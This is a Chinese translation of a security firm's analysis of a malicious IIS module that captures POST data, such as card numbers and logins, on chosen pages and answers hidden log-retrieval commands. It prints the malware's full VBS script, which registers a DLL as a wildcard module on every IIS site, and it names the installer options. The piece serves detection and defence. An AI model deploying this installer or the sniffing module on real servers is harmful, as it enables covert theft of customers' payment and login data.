恶意软件伪装成IIS模块加载,多数防毒产品免杀

技术 作者:冷鹰 2013-12-13 12:48:47
1、摘要
最近,国外安全公司发现了一些以DLL动态链接库形式存在的IIS模块存在恶意风险,这些恶意模块之所以受关注,很大原因是因为它们能躲过目前几乎所有的反病毒产品,攻击者借助这些模块发送恶意POST数据包,并遵循恰当的机制以此来获得敏感信息。 这种恶意程序的目标不仅仅局限于银行、电子商务网站的加密数据,同时还被用来获取例如登录账户及其他被发送到IIS实例上的数据(HTTP Header、MS-Chap令牌等)。同时要注意的是,这次发现的恶意软件漏洞和之前报告的恶意软件"Pony"没有任何关系。Pony主要针对的是终端用户,而这个IIS Module恶意程序主要是针对Web Server的。以下为报告译文: 下面是这次发现的恶意程序在各大反病毒引擎上的检查结果: https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/ 事实证明,我所引用的这个DLL是一个IIS的原生安装模块,我想也该是时候对这种恶意程序进行一个总结了,之所以这么做,有以下2个原因: a)在我写这篇文章的时候,大部分的反病毒软件都不会IIS目录下的DLL模块进行必要的检查(通过设置白名单等),这导致了IIS的重要模块被替换后无法被杀毒软件捕获到异常。虽然病毒的安装程序(用于进行替换工作的程序)也只是被少数的反病毒软件检测出异常,因为这些检测出异常的杀毒引擎大多数采取了"启发式扫描"; b)我觉得这个恶意代码非常的精巧。 2、介绍  
让我们先看一下这个病毒的安装程序。程序允许带许多参数变量以适应不同的环境:
-path : [恶意程序将被安装的路径]
-i : [目标URL地址, 例如 "/sensitive.aspx"
-u : [卸载恶意程序]
-is632 : [IIS6 32-Bit]
-is664 : [IIS6 64-Bit]
QQ截图20131213203929 事实上,安装程序非常简单。它包含有四个内嵌的式DLL文件(在PE结构的资源节区中),在安装的时候根据目标系统的版本进行动态选择:
IIS6 + 32-Bit
IIS6 + 64-Bit
IIS7 + 32-Bit
IIS7 + 64-Bit
此外,这个ISN恶意程序也有一个VBS文件被嵌入到了PE的资源节区中(文件的内容请参考引用部分),这个VBS脚本文件用于安装或者卸载用于替换IIS模块的恶意DLL文件(即上面说到那4个DLL文件)。 一旦运行,ISN.exe将执行以下操作:
1. 将根据我们"-path"指定的位置,或者当前的工作目录。把VBS复制到这个路径下,为后面的安装做准备,这个VBS文件将在安装完成
    删除,不会留下痕迹。
2. 创建一个配置文件([文件].cfg)在同一个目录中。这个文件包含一个列表
3. 恶意程序的目标URL列表。
4. 检查IIS版本以及攻击目标的操作系统架构。
5. 提取相应的DLL到安装目录(从PE的资源节区中)。
6. 调用VBS文件文件将恶意的DLL模块安装为IIS的模块。(IIS只是通过DLL的文件名进行动态加载,即使这是一个恶意程序,
    DLL签名技术在这里并不能起到防御作用)。
  解压运行后的情况如下图: QQ截图20131213203950   在安装的过程中会产生一些日志信息,这些信息有助于我们判断安装是否成功以及失败的原因: QQ截图20131213204002 一旦成功安装的模块,它将监控在配置文件(isn.cfg)中指定的uri和dump(记录)任何捕获到的POST请求,将这些信息记录到[fileName].log中。该模块还将监控QUERY_STRING参数(IIS中的GPC参数,相当于PHP中的$_REQUEST),并可以接受一些攻击者发送的命令(就像一个webshell一样)。我编写了一个简单的IIS实例来演示这个过程如何发生。 3. 演示  
如下我们可以看到,我已经创建了一个简单的web表单,将模拟一个实际的电子商务网站。用户输入他们的名字和信用卡号码和提交信息,然后脚本"/buy.aspx"返回用户输入的数据。 QQ截图20131213204013 在本次演示中,我设置一个自签名证书(self-signed certificate ),这样所有的HTTP交互都通过SSL通信。 QQ截图20131213204026 现在,所有的正常的HTTP业务通信都先和我们的恶意程序进行了交互,这里要注意的,我们必须在配置文件中明确指明我们要"跟踪"的脚本文件(例如,buy.aspx)。这样,当指定的.aspx脚本产生HTTP通信时,ISN.EXE会自动对捕获到的数据进行记录 QQ截图20131213204034 我前面提到的,这个恶意程序可以像webshell那样工作,原因是因为它同时监测QUERY_STRING参数并对其中包含的"特征字符串"进行匹配检索。具体地说,它将寻找以下命令:
1. isn_getlog——的内容并返回。日志文件
2. isn_logdel——删除并。日志文件
3. isn_logpath——返回的路径并。日志文件
这些命令可以简单地通过提供GET参数进行远程发送。 "isn_getlog" example: QQ截图20131213204049 "isn_logdel" example: QQ截图20131213204100   "isn_logpath" example: QQ截图20131213204107 4. 总结  
总的来说,这个恶意软件似乎没有广泛传播,只有在一些个人的案例中出现。然而,极低的检出率与恶意软件的目标功能的结合使这中恶意程序成为一个非常现实的威胁。 Trustwave WebDefend和ModSecurity可用于在"感染路径"的起点阻止这个恶意程序,它们可以检测是否敏感的用户数据,如信用卡号码出现在出站数据中(outbound data)。ModSecurity的链式过滤规则可以很好的对付这个问题,保证数据从入站到出站每一个环节的安全。 5. 引用  
isn.exe http://www.findthatfile.com/search-1990823-fEXE/software-tools-download-isn-exe.htm HASP.EXE http://www.xrite.com/product_overview.aspx?ID=593&Action=support&SupportID=3339 installer (9/48) – https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/analysis/ VBS File (0/49) – https://www.virustotal.com/en/file/688b80289a0c3771c7cee689c50a61b1c5215e8e5ac39a1120b3c7e4f4ada002/analysis/ IIS6 64-Bit (0/49) – https://www.virustotal.com/en/file/956ed56ecc574f68b637e22add7c8e3cb0deea3b1e0dd02abea165bfcb7e3786/analysis/ IIS6 32-Bit (0/47) – https://www.virustotal.com/en/file/9f501c052f2d4f4b0954f6060c7111f272ae29f9d88188d37c961c38e13e3905/analysis/ IIS7+ 64-Bit (0/46) – https://www.virustotal.com/en/file/c6847600910ab196652a38e94ecf592e645d43025d1d61b3710b2f715238307b/analysis/ IIS7+ 32-Bit (0/47) – https://www.virustotal.com/en/file/157174f0b9be66e3c9090c95efdd1dd23b19e42aa671758ebac5540a173f760c/analysis/ Content of VBS File – https://gist.github.com/jgrunzweig/7840987
OPTION EXPLICIT

DIM CRLF, TAB
DIM strServer
DIM objWebService
DIM WebSvcObj

dim webID
dim DllName
dim strScriptMap
dim objVDir
dim arrScriptMaps
dim arrScriptMapsTmp
dim ISAPIlist
dim bAdd
dim bRemove
dim i
dim j
dim cc

TAB  = CHR( 9 )
CRLF = CHR( 13 ) & CHR( 10 )
ISAPIlist = 0
bAdd = 0
bRemove = 0
cc = 0

If Wscript.Arguments.Count < 2 Then
    If Wscript.Arguments.Count = 0 Then
        Wscript.Echo "cscript isn.vbs /add <Path\FileName> - add to all web sites"
        Wscript.Echo "cscript isn.vbs /remove <FileName> - remove from all web sites"
        Wscript.Echo "cscript isn.vbs /isapilist <ID> - list ISAPI for web site <ID>"
        Wscript.Echo "cscript isn.vbs /weblist - list web sites"
        Wscript.Echo "Example:"
        Wscript.Echo "cscript isn.vbs /add C:\WINDOWS\isn\isn.dll"
        Wscript.Echo "cscript isn.vbs /remove isn.dll"
        Wscript.Quit
    Else
        If Wscript.Arguments(0)="/weblist" Then
        'list web sites id and names
        SET objWebService = GetObject( "IIS://localhost/W3SVC" )
        EnumWebsites(objWebService)
        Wscript.Quit
        Else
        Wscript.Echo "wrong param"
        Wscript.Quit
        End If
    End If
Else
 If Wscript.Arguments(0)="/isapilist" Then
    webID = Wscript.Arguments(1)
    ISAPIlist = 1
 ElseIf Wscript.Arguments(0)="/add" Then
    bAdd = 1
    DllName = Wscript.Arguments(1)
 ElseIf Wscript.Arguments(0)="/remove" Then
    bRemove = 1
    DllName = Wscript.Arguments(1)
 End If
End If

If ( (bAdd=0) And (bRemove=0) And (ISAPIlist=0) ) Then
        Wscript.Echo "Wrong params!"
        Wscript.Quit
End If

If bAdd=1 Then
SET objWebService = GetObject( "IIS://localhost/W3SVC" )
strScriptMap = "*,"+DllName+",4,All"
AddToWebsites(objWebService)
Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")
WebSvcObj.EnableExtensionFile("*.dll")
WebSvcObj.SetInfo
End If

If bRemove=1 Then
SET objWebService = GetObject( "IIS://localhost/W3SVC" )
RemoveFromWebsites(objWebService)
Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")
WebSvcObj.DisableExtensionFile("*.dll")
WebSvcObj.SetInfo
Wscript.Echo DllName + " deleted"
End If

If ISAPIlist=1 Then
Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+webID+"/Root")
arrScriptMaps = objVDir.Get("ScriptMaps")
For i = LBound(arrScriptMaps) to UBound(arrScriptMaps)
Wscript.Echo arrScriptMaps(i)
Next
Wscript.Quit
End If

FUNCTION AddToWebsites( objWebService )
    DIM objWebServer, strBindings

    FOR EACH objWebServer IN objWebService
        IF objWebserver.Class = "IIsWebServer" THEN
    Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")
    arrScriptMaps = objVDir.Get("ScriptMaps")
    arrScriptMapsTmp = arrScriptMaps
    ReDim Preserve arrScriptMaps(UBound(arrScriptMaps) + 1)
    j = LBound(arrScriptMaps)
    arrScriptMaps(j) = strScriptMap
    j = 0

    For i = 1 to UBound(arrScriptMaps)
        arrScriptMaps(i)=arrScriptMapsTmp(j)
        j = j+1
    Next

    objVDir.Put "ScriptMaps", arrScriptMaps
    objVDir.SetInfo

    Wscript.Echo "Add "+DllName+" to Web Site ID "+objWebserver.Name+" success!"
        END IF
    NEXT

END FUNCTION

FUNCTION RemoveFromWebsites( objWebService )
    DIM objWebServer, strBindings

    FOR EACH objWebServer IN objWebService
        IF objWebserver.Class = "IIsWebServer" THEN

        Do
        Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")

        arrScriptMaps = objVDir.Get("ScriptMaps")
        arrScriptMapsTmp = arrScriptMaps
        cc=0

        For i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)
            If InStr(arrScriptMapsTmp(i), DllName)>0 then
                arrScriptMapsTmp(i) = ""
                cc=cc+1
                Wscript.Echo "Found "+DllName+" in "+objWebserver.Name+", delete"
               'exit for 'exit loop
            End If
        Next

        If cc=0 Then
            Wscript.Echo DllName+" in "+objWebserver.Name+" NOT found"
            Exit Do
        End If

        ReDim Preserve arrScriptMaps(UBound(arrScriptMaps)-cc)

        j = LBound(arrScriptMapsTmp)
        for i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)
        If arrScriptMapsTmp(i)<>"" Then
            arrScriptMaps(j)=arrScriptMapsTmp(i)
            j = j+1
        End If
        Next

        objVDir.Put "ScriptMaps", arrScriptMaps
        objVDir.SetInfo
        Exit Do
    Loop While False

        END IF
    NEXT

END FUNCTION

FUNCTION EnumWebsites( objWebService )
    DIM objWebServer, strBindings

    FOR EACH objWebServer IN objWebService
        IF objWebserver.Class = "IIsWebServer" THEN
            WScript.Echo _
                "Site ID = " & objWebserver.Name & CRLF & _
                "Comment = """ & objWebServer.ServerComment & """ " & CRLF & _
                "State   = " & State2Desc( objWebserver.ServerState ) '& CRLF & _
                '"LogDir  = " & objWebServer.LogFileDirectory & _
                '""

            ' Enumerate the HTTP bindings (ServerBindings) and
            ' SSL bindings (SecureBindings)
            'strBindings = EnumBindings( objWebServer.ServerBindings ) & _
            '              EnumBindings( objWebServer.SecureBindings )
            'IF NOT strBindings = "" THEN
            '    WScript.Echo "IP Address" & TAB & _
            '                 "Port" & TAB & _
            '                 "Host" & CRLF & _
            '                 strBindings
            'END IF
        END IF
    NEXT

END FUNCTION

FUNCTION EnumBindings( objBindingList )
    DIM i, strIP, strPort, strHost
    DIM reBinding, reMatch, reMatches
    SET reBinding = NEW RegExp
    reBinding.Pattern = "([^:]*):([^:]*):(.*)"

    FOR i = LBOUND( objBindingList ) TO UBOUND( objBindingList )
        ' objBindingList( i ) is a string looking like IP:Port:Host
        SET reMatches = reBinding.Execute( objBindingList( i ) )
        FOR EACH reMatch IN reMatches
            strIP = reMatch.SubMatches( 0 )
            strPort = reMatch.SubMatches( 1 )
            strHost = reMatch.SubMatches( 2 )

            ' Do some pretty processing
            IF strIP = "" THEN strIP = "All Unassigned"
            IF strHost = "" THEN strHost = "*"
            IF LEN( strIP ) < 8 THEN strIP = strIP & TAB

            EnumBindings = EnumBindings & _
                           strIP & TAB & _
                           strPort & TAB & _
                           strHost & TAB & _
                           ""
        NEXT

        EnumBindings = EnumBindings & CRLF
    NEXT

END FUNCTION

FUNCTION State2Desc( nState )
    SELECT CASE nState
    CASE 1
        State2Desc = "Starting (MD_SERVER_STATE_STARTING)"
    CASE 2
        State2Desc = "Started (MD_SERVER_STATE_STARTED)"
    CASE 3
        State2Desc = "Stopping (MD_SERVER_STATE_STOPPING)"
    CASE 4
        State2Desc = "Stopped (MD_SERVER_STATE_STOPPED)"
    CASE 5
        State2Desc = "Pausing (MD_SERVER_STATE_PAUSING)"
    CASE 6
        State2Desc = "Paused (MD_SERVER_STATE_PAUSED)"
    CASE 7
        State2Desc = "Continuing (MD_SERVER_STATE_CONTINUING)"
    CASE ELSE
        State2Desc = "Unknown state"
    END SELECT

END FUNCTION
 
The Curious Case of the Malicious IIS Module 
Reference From: http://blog.spiderlabs.com/2013/12/the-curious-case-of-the-malicious-iis-module.html
Translated By: LittleHann
  如文中未特别声明转载请注明出自:FreebuF.COM

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接